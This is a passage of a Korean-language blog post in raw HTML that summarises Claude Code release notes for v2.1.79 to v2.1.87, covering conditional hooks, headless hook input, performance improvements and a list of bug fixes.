&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Rate limit UI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.80&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;상태바에 사용량 퍼센트 + 리셋 시간 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;PowerShell (Preview)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Windows에서 Bash 대신 PowerShell 사용 가능 (opt-in)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Ctrl+X Ctrl+E&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;외부 에디터 열기 (readline 네이티브 바인딩)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;이미지 칩&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;붙여넣은 이미지에 &lt;code&gt;[Image #N]&lt;/code&gt; 칩이 커서 위치에 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;VSCode 주요 변경&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.79&lt;/b&gt;: &lt;code&gt;/remote-control&lt;/code&gt; &amp;mdash; 세션을 claude.ai/code로 브릿지하여 브라우저/폰에서 이어서 작업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.84&lt;/b&gt;: Rate limit 경고 배너 (사용량 퍼센트 + 리셋 시간)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.83&lt;/b&gt;: Esc 두 번 &amp;rarr; 되감기 피커 (keyboard-navigable rewind)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 16 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;16. 훅 진화 2.0 &amp;mdash; 조건부 실행과 headless 통합 (v2.1.85~87)&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSgztU/dJMcafF3Wnm/ow1MH64KapqMuxA26zGopk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSgztU/dJMcafF3Wnm/ow1MH64KapqMuxA26zGopk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSgztU/dJMcafF3Wnm/ow1MH64KapqMuxA26zGopk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSgztU%2FdJMcafF3Wnm%2Fow1MH64KapqMuxA26zGopk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2016&quot; height=&quot;1096&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.85는 훅 시스템에 두 가지 중요한 기능을 추가했다. 하나는 훅이 언제 실행될지를 제어하는 &lt;b&gt;조건부 &lt;code&gt;if&lt;/code&gt; 필드&lt;/b&gt;, 다른 하나는 headless 환경에서 사용자 입력을 처리하는 &lt;b&gt;&lt;code&gt;updatedInput&lt;/code&gt; 지원&lt;/b&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;조건부 훅 실행 &amp;mdash; if 필드&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;// settings.json &amp;mdash; if 필드로 git 명령에만 훅 실행
{
  &quot;hooks&quot;: {
    &quot;PreToolUse&quot;: [{
      &quot;if&quot;: &quot;Bash(git *)&quot;,
      &quot;type&quot;: &quot;command&quot;,
      &quot;command&quot;: &quot;echo 'git 명령 감지됨'&quot;
    }]
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;훅 &lt;code&gt;if&lt;/code&gt; 필드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;permission rule 문법(예: &lt;code&gt;Bash(git *)&lt;/code&gt;)으로 훅 실행 조건 필터링. 불필요한 프로세스 spawning 오버헤드 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;PreToolUse &lt;code&gt;updatedInput&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;PreToolUse 훅이 &lt;code&gt;AskUserQuestion&lt;/code&gt;에 응답할 때 &lt;code&gt;updatedInput&lt;/code&gt;과 &lt;code&gt;permissionDecision: &quot;allow&quot;&lt;/code&gt;를 함께 반환하면 headless 통합 가능. 커스텀 UI로 사용자 입력 수집 후 Claude에 전달하는 자동화 파이프라인 구축 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;트랜스크립트 타임스탬프&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/loop&lt;/code&gt; 또는 &lt;code&gt;CronCreate&lt;/code&gt;로 예약된 태스크 실행 시 트랜스크립트에 타임스탬프 마커 자동 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP headersHelper 환경변수&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CLAUDE_CODE_MCP_SERVER_NAME&lt;/code&gt;, &lt;code&gt;CLAUDE_CODE_MCP_SERVER_URL&lt;/code&gt; 추가 &amp;mdash; 하나의 headersHelper 스크립트로 여러 MCP 서버 처리 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이전에는 훅이 모든 도구 실행에 반응해서 불필요한 프로세스를 spawning했다. 이제 &lt;code&gt;if: &quot;Bash(git *)&quot;&lt;/code&gt;처럼 특정 명령에만 반응하도록 제한하면 대규모 프로젝트에서 성능 차이가 체감된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 17 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;17. 성능 &amp;amp; DX &amp;mdash; 스크롤 엔진 교체, Read 최적화, 스킬 UX&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEucNJ/dJMcagZfqCv/BzlPMHTGb2NUEGmWXQ4zVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEucNJ/dJMcagZfqCv/BzlPMHTGb2NUEGmWXQ4zVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEucNJ/dJMcagZfqCv/BzlPMHTGb2NUEGmWXQ4zVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEucNJ%2FdJMcagZfqCv%2FBzlPMHTGb2NUEGmWXQ4zVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1090&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.85~87에서 체감 성능에 직접적인 영향을 주는 개선이 다수 이루어졌다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스크롤 엔진 교체 (v2.1.85)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;터미널 레이아웃 엔진을 &lt;b&gt;WASM 기반 yoga-layout&lt;/b&gt;에서 &lt;b&gt;순수 TypeScript 구현&lt;/b&gt;으로 교체했다. 대용량 트랜스크립트에서 스크롤 성능이 크게 향상되고, 컴팩션 발생 시 UI 끊김도 줄었다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;개선 항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;효과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;스크롤 엔진 교체&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;WASM yoga-layout &amp;rarr; TypeScript 구현. 대용량 트랜스크립트 스크롤 성능 향상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Read 도구 토큰 최적화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;compact 행번호 형식 사용 + 변경 없는 재읽기 중복 제거 &amp;rarr; 토큰 사용량 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;@ 파일 멘션 토큰 절감&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;@파일명&lt;/code&gt; 멘션 시 원본 문자열을 JSON 이스케이프하지 않음 &amp;rarr; 토큰 오버헤드 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Bedrock/Vertex/Foundry 캐시 개선&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;도구 설명에서 동적 콘텐츠 제거 &amp;rarr; 프롬프트 캐시 적중률 향상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP 커넥터 시작 최적화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;macOS Keychain 캐시 5초 &amp;rarr; 30초 확장 &amp;mdash; claude.ai MCP 커넥터 多 설정 시 시작 이벤트 루프 지연 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/skills 알파벳 정렬&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/skills&lt;/code&gt; 메뉴가 알파벳순으로 정렬되어 찾기 쉬워짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;스킬 설명 250자 제한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/skills&lt;/code&gt; 목록에서 설명이 250자로 제한 &amp;rarr; 컨텍스트 사용량 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;메모리 파일명 인터랙션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Saved N memories&quot; 알림에서 메모리 파일명에 hover 하이라이트, 클릭으로 바로 열기 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;X-Claude-Code-Session-Id 헤더&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;모든 API 요청에 세션 ID 헤더 추가 &amp;mdash; 프록시/미들웨어에서 body 파싱 없이 세션별 요청 집계 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;.jj / .sl VCS 지원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Jujutsu(&lt;code&gt;.jj&lt;/code&gt;)와 Sapling(&lt;code&gt;.sl&lt;/code&gt;)의 메타데이터 디렉토리를 VCS 제외 목록에 추가 &amp;mdash; Grep, 파일 자동완성에서 불필요한 결과 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 18 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;18. 안정성 대수술 &amp;mdash; v2.1.85~87의 주요 버그 수정&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cf6BWM/dJMcaibJh5x/sD0PUMpHJk9FPXranQA7m0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cf6BWM/dJMcaibJh5x/sD0PUMpHJk9FPXranQA7m0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cf6BWM/dJMcaibJh5x/sD0PUMpHJk9FPXranQA7m0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcf6BWM%2FdJMcaibJh5x%2FsD0PUMpHJk9FPXranQA7m0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1996&quot; height=&quot;1102&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.85~86에서 총 30건 이상의 버그가 수정되었다. 가장 체감이 큰 수정들을 정리한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주요 버그 수정 하이라이트&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;: &lt;code&gt;--worktree&lt;/code&gt;가 non-git 저장소에서 오류 종료하던 문제 수정 &amp;mdash; &lt;code&gt;WorktreeCreate&lt;/code&gt; 훅 실행 전에 종료되던 버그&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;: &lt;code&gt;deniedMcpServers&lt;/code&gt; 설정이 claude.ai MCP 서버를 차단하지 못하던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;: 터미널 종료 후 enhanced keyboard mode가 남아있어 Ctrl+C/Ctrl+D가 작동 안 하던 문제 수정 (Ghostty, Kitty, WezTerm 등)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;: Python Agent SDK에서 &lt;code&gt;--mcp-config&lt;/code&gt;로 전달된 &lt;code&gt;type:'sdk'&lt;/code&gt; MCP 서버가 시작 시 드롭되던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;: SSH/VS Code 통합 터미널에서 raw key sequence가 프롬프트에 출력되던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;: &lt;code&gt;--resume&lt;/code&gt;이 v2.1.85 이전에 생성된 세션에서 &quot;tool_use ids were found without tool_result blocks&quot; 오류로 실패하던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;: 조건부 스킬/규칙 설정 시 프로젝트 루트 외부 파일(&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; 등) Write/Edit/Read 실패 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;: v2.1.83 이후 macOS/Linux에서 공식 마켓플레이스 플러그인 &quot;Permission denied&quot; 오류 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;: 스킬 호출 시마다 불필요한 설정 디스크 쓰기 발생 &amp;mdash; Windows에서 성능 저하 및 설정 손상 유발하던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;: &lt;code&gt;/feedback&lt;/code&gt; 사용 시 대용량 트랜스크립트 파일에서 메모리 오버플로우 크래시 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.87&lt;/b&gt;: Cowork Dispatch에서 메시지가 전달되지 않던 문제 수정&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수정 영역&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;MCP OAuth&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;refresh token 존재 시 step-up authorization 실패 수정 (버그). RFC 9728 Protected Resource Metadata discovery 지원은 별도 신기능으로 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Remote Control&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;권한 해결 후에도 &quot;Requires Action&quot; 상태에 고정되던 문제 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;OTEL&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;exporter를 &lt;code&gt;none&lt;/code&gt;으로 설정 시 크래시 수정. tool_parameters를 &lt;code&gt;OTEL_LOG_TOOL_DETAILS=1&lt;/code&gt; 뒤로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;VSCode 확장&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;장시간 작업 중 &quot;응답 없음&quot; 표시 수정 / OAuth 토큰 갱신 후 Max 플랜을 Sonnet으로 기본 설정하던 버그 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;멀티인스턴스&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;여러 Claude Code 인스턴스 실행 시 상태바가 다른 세션의 모델을 표시하던 문제 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;메모리 누수&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;마크다운/하이라이트 렌더 캐시가 전체 문자열을 유지하던 누수 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 19 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;19. 결론&lt;/b&gt;&lt;/h2&gt;
